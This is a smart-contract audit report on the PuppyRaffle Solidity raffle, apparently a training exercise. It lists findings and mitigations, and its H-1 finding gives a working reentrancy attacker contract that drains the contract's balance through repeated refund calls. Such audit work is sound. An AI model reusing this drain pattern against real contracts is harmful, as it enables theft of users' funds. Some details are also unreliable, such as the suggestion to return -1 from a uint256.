PuppyRaffle Audit Report

Version 1.0

Graphchain

March 5, 2024

PuppyRaffle Audit Report

Graphchain

Match 5, 2024

Prepared by: Graphchain Lead Security Researcher: - Rad

Table of Contents

    * [M-1] Looping throught players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
    * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

- Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are missing event
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
- Gas
    * [G-1] Unchanged state variables should be declared constant or immutalbe.
    * [G-2] Storage variables in a loop should be cached
- MEV(Report-Skipped)

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Graphchain team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This security review journey is great. Thanks Patrick!

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Info	7
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   @>          payable(msg.sender).sendValue(entranceFee);
7   @>          players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who have entered the raffle could have `fallback`/`receive` function that calls the `PuppyRaffle:refund` function again and claim another refund. The could continue the cycle till the contract balance is drained.

Impact: All fees paid raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

```
1       function test_reentracy_refund() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           uint256 balanceBefore = address(playerOne).balance;
10          uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(
                playerOne);
11
12          vm.prank(playerOne);
13          puppyRaffle.refund(indexOfPlayer);
14
15          assertEq(address(playerOne).balance, balanceBefore +
                entranceFee);
16
```

```
17          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
18          address attackUser = makeAddr("attackUser");
19
20          vm.deal(attackUser, 1 ether);
21
22          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
23          uint256 startingContractBalance = address(puppyRaffle).balance;
24
25          // attack
26          vm.prank(attackUser);
27          attackerContract.attack{value: entranceFee}();
28
29          console.log("Starting Attack Contract Balance",
                startingAttackContractBalance);
30          console.log("Starting Contract Balance",
                startingContractBalance);
31
32          console.log("Ending Attack Contract Balance", address(
                attackerContract).balance);
33          console.log("Ending Contract Balance", address(puppyRaffle).
                balance);
34      }
```

And this contract code:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3
4      uint256 entranceFee;
5      uint256 attackerIndex;
6
7      constructor(PuppyRaffle _puppyRaffle) {
8          puppyRaffle = _puppyRaffle;
9          entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable {
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16
17         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if(address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
```

```
24          }
25      }
26
27      fallback() external payable {
28          _stealMoney();
29      }
30
31      receive() external payable {
32          _stealMoney();
33      }
34  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +        players[playerIndex] = address(0);
7   +        emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9   -        players[playerIndex] = address(0);
10  -        emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious can manipulate these values or know them ahead of time to choose the winner of the raffle themselvles.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that predict when/how to participate. See solidity blog on preverandao

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflow, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be

```
    totalFees = totalFees + uint64(fee);
    // aka
    totalFees = 800000000000000000 + 17800000000000000000
    // and this will overflow!
    totalFees = 1553255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. User a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle: totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we removing it regardless.

Medium

[M-1] Looping throught players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check loop wiil have to make.

```
1           // @audit DoS Attack
2  @>       for (uint256 i = 0; i < players.length - 1; i++) {
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
5               }
6           }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 - 2nd 100 players: ~18068138

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1       function test_denialOfServers() public {
2           vm.txGasPrice(1);
3
4           uint256 playersNum = 100;
5           address[] memory players = new address[](playersNum);
6           for (uint256 i = 0; i < playersNum; i++) {
7               players[i] = address(i);
8           }
```

```
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasCost = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost after loop: %s", gasCost);

        // second times
        address[] memory playersSecond = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersSecond[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersSecond.
            length}(playersSecond);
        uint256 gasEndSecond = gasleft();

        uint256 gasCostSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost after second: %s", gasCostSecond);

        assert(gasCostSecond > gasCost);
    }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
.
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
```

```
16 -                 require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
17 -             }
18 -         }
19 +         for (uint256 i = 0; i < players.length - 1; i++) {
20 +             require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
21 +         }
22
23           emit RaffleEnter(newPlayers);
24       }
25 .
26 .
27 .
28       function selectWinner() external {
29 +         raffleId = raffleId + 1;
30           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winenr is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even through the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract walllet entrants (not recommended)

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player i is in the `PuppyRaffle::players` array at i ndex 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1      function getActivePlayerIndex(address player) external view returns
           (uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7  @>        return 0;
8      }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `uint256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Recommendation

Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 72

```
1         entranceFee = _entranceFee;
```

- Found in src/PuppyRaffle.sol Line: 187

```
1         delete players; // e resetting the player array
```

- Found in src/PuppyRaffle.sol Line: 210

```
1     /// @param newFeeAddress the new address to send fees to
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PRECENTAGE = 80;
        uint256 public constant FEE_PRECENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;

        uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PRECENTAGE) / POOL_PRECISION;
        uint256 fee = (totalAmountCollected * FEE_PRECENTAGE) /
            POOL_PRECISION;
```

[I-6] State changes are missing event

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 64

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 65

```
    event RaffleRefunded(address player);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variables should be declared constant or immutalbe.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immnutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.lenght` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

MEV(Report-Skipped)